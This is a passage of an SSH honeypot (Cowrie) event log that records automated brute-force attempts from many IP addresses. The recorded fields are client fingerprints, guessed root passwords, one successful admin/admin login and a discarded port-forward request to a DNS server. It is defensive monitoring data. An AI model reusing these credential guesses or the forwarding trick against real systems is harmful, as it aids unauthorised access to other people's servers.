sh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:56.940592Z","src_ip":"45.114.124.44","session":"4590f62c70c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supersecret","message":"login attempt [root/supersecret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:57.824380Z","src_ip":"45.114.124.44","session":"4590f62c70c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:59.048639Z","src_ip":"45.114.124.44","session":"4590f62c70c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37760,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca4e180cb07","protocol":"ssh","message":"New connection: 62.133.62.83:37760 (10.17.0.5:22) [session: 8ca4e180cb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:01.934053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:01.939205Z","src_ip":"62.133.62.83","session":"8ca4e180cb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:02.022438Z","src_ip":"62.133.62.83","session":"8ca4e180cb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"herobrine","message":"login attempt [root/herobrine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:02.264564Z","src_ip":"62.133.62.83","session":"8ca4e180cb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:03.351774Z","src_ip":"62.133.62.83","session":"8ca4e180cb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":59850,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef695ec8288","protocol":"ssh","message":"New connection: 193.228.128.84:59850 (159.203.135.109:22) [session: 5ef695ec8288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:20.889989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:20.894077Z","src_ip":"193.228.128.84","session":"5ef695ec8288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:20.996059Z","src_ip":"193.228.128.84","session":"5ef695ec8288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serafima","message":"login attempt [root/serafima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:21.304127Z","src_ip":"193.228.128.84","session":"5ef695ec8288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:22.410621Z","src_ip":"193.228.128.84","session":"5ef695ec8288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":37648,"dst_ip":"159.203.135.109","dst_port":22,"session":"e72841e8fe1f","protocol":"ssh","message":"New connection: 210.90.155.178:37648 (159.203.135.109:22) [session: e72841e8fe1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:33.353667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:33.358611Z","src_ip":"210.90.155.178","session":"e72841e8fe1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:33.555809Z","src_ip":"210.90.155.178","session":"e72841e8fe1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234.","message":"login attempt [root/qwer1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:34.370756Z","src_ip":"210.90.155.178","session":"e72841e8fe1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":58836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b99d0790b052","protocol":"ssh","message":"New connection: 200.90.8.86:58836 (10.17.0.5:22) [session: b99d0790b052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:35.430096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:35.434550Z","src_ip":"200.90.8.86","session":"b99d0790b052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:35.524876Z","src_ip":"200.90.8.86","session":"b99d0790b052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:35.570847Z","src_ip":"210.90.155.178","session":"e72841e8fe1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456789","message":"login attempt [root/Admin@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:36.101924Z","src_ip":"200.90.8.86","session":"b99d0790b052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:37.197909Z","src_ip":"200.90.8.86","session":"b99d0790b052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25920,"dst_ip":"159.203.135.109","dst_port":22,"session":"096281312dba","protocol":"ssh","message":"New connection: 38.93.206.2:25920 (159.203.135.109:22) [session: 096281312dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:44.655310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:44.660620Z","src_ip":"38.93.206.2","session":"096281312dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:44.715797Z","src_ip":"38.93.206.2","session":"096281312dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama2012","message":"login attempt [root/mama2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:44.874164Z","src_ip":"38.93.206.2","session":"096281312dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:45.928225Z","src_ip":"38.93.206.2","session":"096281312dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":37914,"dst_ip":"159.203.135.109","dst_port":22,"session":"038dc481d65e","protocol":"ssh","message":"New connection: 103.172.78.219:37914 (159.203.135.109:22) [session: 038dc481d65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:54.092401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:54.097784Z","src_ip":"103.172.78.219","session":"038dc481d65e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:54.354756Z","src_ip":"103.172.78.219","session":"038dc481d65e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kirill2005","message":"login attempt [root/kirill2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:55.124724Z","src_ip":"103.172.78.219","session":"038dc481d65e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:55:56.383935Z","src_ip":"103.172.78.219","session":"038dc481d65e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63798,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f465a729df0","protocol":"ssh","message":"New connection: 87.251.64.176:63798 (10.17.0.5:22) [session: 6f465a729df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.174943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.179601Z","src_ip":"87.251.64.176","session":"6f465a729df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.273614Z","src_ip":"87.251.64.176","session":"6f465a729df0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.557330Z","src_ip":"87.251.64.176","session":"6f465a729df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.653693Z","session":"6f465a729df0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.749614Z","src_ip":"87.251.64.176","session":"6f465a729df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:28.847610Z","src_ip":"87.251.64.176","session":"6f465a729df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3c4df7cfd4","protocol":"ssh","message":"New connection: 45.114.124.44:60364 (10.17.0.5:22) [session: ee3c4df7cfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:32.396584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:56:32.402436Z","src_ip":"45.114.124.44","session":"ee3c4df7cfd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"